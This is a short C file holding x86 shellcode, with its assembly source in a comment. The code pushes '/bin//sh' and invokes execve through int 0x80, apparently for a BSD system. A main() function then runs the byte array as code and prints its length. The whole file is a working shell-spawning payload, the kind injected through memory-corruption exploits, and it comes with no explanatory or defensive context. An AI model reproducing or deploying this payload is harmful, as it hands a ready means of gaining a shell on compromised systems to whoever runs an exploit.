/*
.globl cbegin
.globl cend

cbegin: 


        xorl %eax, %eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f
        mov %esp, %ebx
        push %eax
        push %ebx
        push %eax
        push %esp
        push %ebx
        mov $0x3b, %al
        push %eax
        int $0x80

cend:

*/
unsigned char shellcode[] = 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x50\x54\x53\xb0\x3b\x50\xcd\x80";

int main() {
    void (*f)();
    f = (void *) shellcode;
    printf("%d\n", strlen(shellcode));
    f();
}
